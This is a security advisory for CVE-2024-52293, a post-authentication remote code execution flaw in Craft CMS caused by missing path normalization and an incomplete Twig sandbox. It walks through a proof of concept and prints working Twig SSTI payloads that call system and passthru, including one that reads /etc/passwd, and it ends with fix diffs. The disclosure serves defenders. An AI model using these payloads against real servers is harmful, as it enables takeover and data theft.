CVE-2024-52293: Craft has a Potential Remote Code Execution via missing path normalization & Twig SSTI
Summary
Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.
(Post-authentication, ALLOWADMINCHANGES=true)
Details
Note: This is a sequel to CVE-2023-40035
In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:
php / Returns an absolute path based on a source location or the current working directory. @param string $to The target path. @param string|null $from The source location. Defaults to the current working directory. @param string $ds the directory separator to be used in the normalized result. Defaults to DIRECTORYSEPARATOR. @return string @since 4.3.5 / public static function absolutePath( string $to, ?string $from = null, string $ds = DIRECTORYSEPARATOR, ): string { $to = static::normalizePath($to, $ds);
// Already absolute? if ( strstartswith($to, $ds) || pregmatch(sprintf('/^[A-Z]:%s/', pregquote($ds, '/')), $to) ) { return $to; }
if ($from === null) { $from = FileHelper::normalizePath(getcwd(), $ds); } else { $from = static::absolutePath($from, ds: $ds); }
return $from . $ds . $to; }
This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.
Let's see what happens after calling isSystemDir("../templates/poc"):
php / Returns whether the given file path is located within or above any system directories. @param string $path @return bool @since 5.4.2 / public function isSystemDir(string $path): bool // $path = "../templates/poc" { $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"
foreach (Craft::$app->getPath()->getSystemPaths() as $dir) { $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates" if (strstartswith("$path/", "$dir/") || strstartswith("$dir/", "$path/")) { // if (false || false) return true; } }
return false; // We're here! }
Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136: php / @param string $attribute @param array|null $params @param InlineValidator $validator @return void @since 4.4.6 / public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) { $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.')); } }
We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc
Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml
Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.
js {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}
These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.
PoC
1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start
sh mkdir craftcms && cd craftcms ddev config --project-type=craftcms --docroot=web --create-docroot ddev composer create -y --no-scripts "craftcms/craft" ddev craft install php craft setup/security-key ddev start
<img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3">
2. Create a new filesystem with base path ../templates/poc
<img width="1280" alt="filesystem" src="https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b">
Notice that the poc directory was created
<img width="167" alt="dir" src="https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79">
3. Create a new asset volume using the poc filesystem
<img width="1280" alt="asset" src="https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00">
Upload a poc.ttml file with RCE template code
js {{'<pre>'}} {{ 88 }} {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}}
Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.
<img width="1280" alt="upload" src="https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad">
!ttml
4. Create a new route with template poc/poc.ttml
<img width="1280" alt="route" src="https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21">
5. This leads to Remote Code Execution on arbitrary route /
<img width="454" alt="rce" src="https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6">
Remediation
diff diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php index 0c2da884a7..ac23ce556a 100644 --- a/src/helpers/FileHelper.php +++ b/src/helpers/FileHelper.php @@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper $from = static::absolutePath($from, ds: $ds); }
- return $from . $ds . $to; + return FileHelper::normalizePath($from . $ds . $to); }
/
!fixnorm
See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:
diff diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php index efff2d2412..756f452f8b 100644 --- a/src/web/twig/Extension.php +++ b/src/web/twig/Extension.php @@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface new TwigFilter('lcfirst', [$this, 'lcfirstFilter']), new TwigFilter('literal', [$this, 'literalFilter']), new TwigFilter('map', [$this, 'mapFilter'], ['needsenvironment' => true]), + new TwigFilter('find', [$this, 'find'], ['needsenvironment' => true]), + new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATORLEFT]), + new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATORLEFT]), new TwigFilter('markdown', [$this, 'markdownFilter'], ['issafe' => ['html']]), new TwigFilter('md', [$this, 'markdownFilter'], ['issafe' => ['html']]), new TwigFilter('merge', [$this, 'mergeFilter']),
!fixssti
Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOWADMINCHANGES=true, there is still a potential security threat (Remote Code Execution)
Other sources
Craft is a content management system (CMS). Prior to 4.12.2 and 5.4.3, Craft is missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI. This is a sequel to CVE-2023-40035. This vulnerability is fixed in 4.12.2 and 5.4.3.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2024-52293?
CVE-2024-52293 has a high severity rating due to the potential for Remote Code Execution.
How do I fix CVE-2024-52293?
To fix CVE-2024-52293, upgrade Craft CMS to version 5.4.3 or 4.12.2 or later.
What causes CVE-2024-52293?
CVE-2024-52293 is caused by the missing `normalizePath` in the `FileHelper::absolutePath` function.
Who is affected by CVE-2024-52293?
CVE-2024-52293 affects users of Craft CMS versions between 4.0.0-RC1 and 5.4.2.
Can CVE-2024-52293 be exploited without authentication?
No, CVE-2024-52293 requires post-authentication access to be exploited.